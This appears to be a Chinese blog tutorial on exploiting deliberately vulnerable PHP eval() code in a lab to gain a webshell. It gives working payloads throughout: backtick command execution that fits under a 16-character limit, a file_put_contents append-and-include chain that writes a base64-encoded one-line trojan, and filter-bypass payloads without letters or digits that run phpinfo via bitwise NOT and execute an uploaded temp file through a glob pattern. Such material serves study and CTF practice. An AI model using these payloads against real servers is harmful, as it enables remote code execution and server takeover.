目录
eval长度限制突破
第一种方法
第二种方法
无字母数字webshell之命令执行
php7
php5
eval长度限制突破
php eval函数参数限制在16个字符的情况下,如何拿到webshell呢
首先,我们还是先把环境搭好(此次的所有漏洞环境我都部署在Ubuntu下,我的Ubuntu下的环境是nginx+php,至于Ubuntu下的nginx+php环境我也有博客也写到,希望可以帮助到到家。在这里,我建议nginx下的html文件夹最好的用户组和用户都设置为www-data,否则之后的创建一句话木马可能不能创建,我的环境在最开始的时候用户组和用户为root,所以我在这吃了点亏,望大家引以为戒。)
代码
<?php
$param = $_REQUEST['param'];
if (
strlen($param) < 17 && stripos($param, 'eval') === false && stripos($param, 'assert') === false
) {
eval($param);
}
在这里,我们分析代码,这个PHP代码片段存在严重的安全漏洞。它接收用户输入,通过eval()
函数执行输入的代码。尽管代码对输入进行了部分过滤,但这种保护并不完全有效,可能导致代码执行攻击(例如,代码注入或远程代码执行)。
这个语句从用户的请求中获取 param
参数。$_REQUEST
包含了 $_GET
, $_POST
, 和 $_COOKIE
的混合数据。
- 这个条件语句检查
$param
的长度是否小于17个字符,并且$param
中不包含"eval"
和"assert"
字符串。 - 通过这种方式,它试图阻止一些明显的危险输入,如包含
eval
或assert
关键字的代码。
eval()
函数会将传入的字符串当作PHP代码执行。- 这意味着如果用户的输入通过了上述条件检查,输入的内容会直接在服务器上执行。
第一种方法
尽管代码中试图过滤掉 "eval"
和 "assert"
,以及限制了输入的长度,但这并不能阻止所有可能的攻击。例如,攻击者可以尝试绕过这些过滤条件,输入一些看似无害但实际上可以执行任意代码的内容。例如 phpinfo();
但是我们该如何生成一句话木马呢,由于他限制了eval和assert,突发奇想,因为这个环境部署在linux下,那我们可以使用``包裹代码执行啊
echo `$_GET=[1]`;&1=id
数一下16个字符,刚好限制在了17个字符以内,而我们可以传参给1,那么问题不就解决了吗
试试吧
这个时候,我们看了之后权限只是www-data,那我们可以创建文件
echo `$_GET=[1]`;&1=touch /tmp/111.txt
我们既然可以创建这个,那么webshell不也可以吗,只做到这里,剩下的一句话木马的生成可以自行研究下。
第二种方法
利用file_put_contents函数
?1=file_put_contents¶m=$_GET[1](N,P,8);
这个函数的三个参数,N意思是我们创建一个叫N的文件,把P追加到这个文件中,8这个数字就是追加的意思,这里8的意思是在PHP的底层C语言代码中写到的,尽管在php的官方文档中也有追加的参数,但是使用后就会超出字符限制,所以这里巧妙地利用了PHP的底层代码。那大家有疑问啦,为什么要追加P呢,那是因为我们的一句话木马的base64编码后的结果,问什么要使用base64编码呢,因为file_put_contents函数不能追加一些字符,所以追加base64编码后的结果。
看来我们好像成功了,那我们吧接下来的字符都追加进去
这里就是执行啦
?param=include$_GET[1];&1=php://filter/read=convert.base64-decode/resource=N
成功了。之后该干嘛自己研究吧,都控制他们web服务器啦。
无字母数字webshell之命令执行
搭建环境
<html>
<body>
<form action="web.php" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file" id="file" />
<br />
<input type="submit" value="Submit" />
</form>
</body>
</html>
<?php
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
eval($code);
}else{
highlight_file(__FILE__);
}
当然,这道题的限制:1.webshell长度不超过35位,2.除了不包含字母数字,还不能包含$
和_
难点呼之欲出了,$,_都用到了PHP中的变量,需要对变量进行变形、异或、取反等操作,最后动态执行函数。但现在,因为$
不能使用了,所以我们无法构造PHP中的变量。
php7
PHP7前是不允许用($a)();
这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();
来执行函数,第一个括号中可以是任意PHP表达式。
所以很简单了,构造一个可以生成phpinfo
这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示):
?code=(~%8F%97%8F%96%91%99%90)();
同理我们可以构造其他的函数进行执行。
php5
php5不支持这种表达方式。所以该怎么办呢。大部分语言都不会是单纯的逻辑语言,一门全功能的语言必然需要和操作系统进行交互。操作系统里包含的最重要的两个功能就是“shell(系统命令)”和“文件系统”,很多木马与远控其实也只实现了这两个功能。
PHP自然也能够和操作系统进行交互,“反引号”就是PHP中最简单的执行shell的方法。那么,在使用PHP无法解决问题的情况下,为何不考虑用“反引号”+“shell”的方式来getshell呢?
因为反引号不属于“字母”、“数字”,所以我们可以执行系统命令,但问题来了:如何利用无字母、数字、$
的系统命令来getshell?
好像问题又回到了原点:无字母、数字、$
,在shell中仍然是一个难题。
此时我想到了两个有趣的Linux shell知识点:
-
shell下可以利用
.
来执行任意脚本 -
Linux文件名支持用glob通配符代替
第一个是 `. `它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则. file
的意思就是用bash执行file文件中的命令。
用. file
执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.
来执行它了吗?
这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXXXXXX
,文件名最后6个字符是随机的大小写字母。
所有文件名都是小写,只有PHP生成的临时文件包含大写字母。那么答案就呼之欲出了,我们只要找到一个可以表示“大写字母”的glob通配符,就能精准找到我们要执行的文件。
翻开ascii码表,可见大写字母位于@
与[
之间:
那么,我们可以利用[@-[]
来表示大写字母:
ls /???/????????
[@-[]
那我们试试吧
?code=
?><?=
. /???/????????[@-[];?>
?code=?><?=`.+/%3f%3f%3f/%3f%3f%3f%3f%3f%3f%3f%3f[%40-[]`%3b?>
抓包
剩下的就是创建webshell文件啦,自己可以研究下。
这篇文章就讲到这,后续还会持续更新!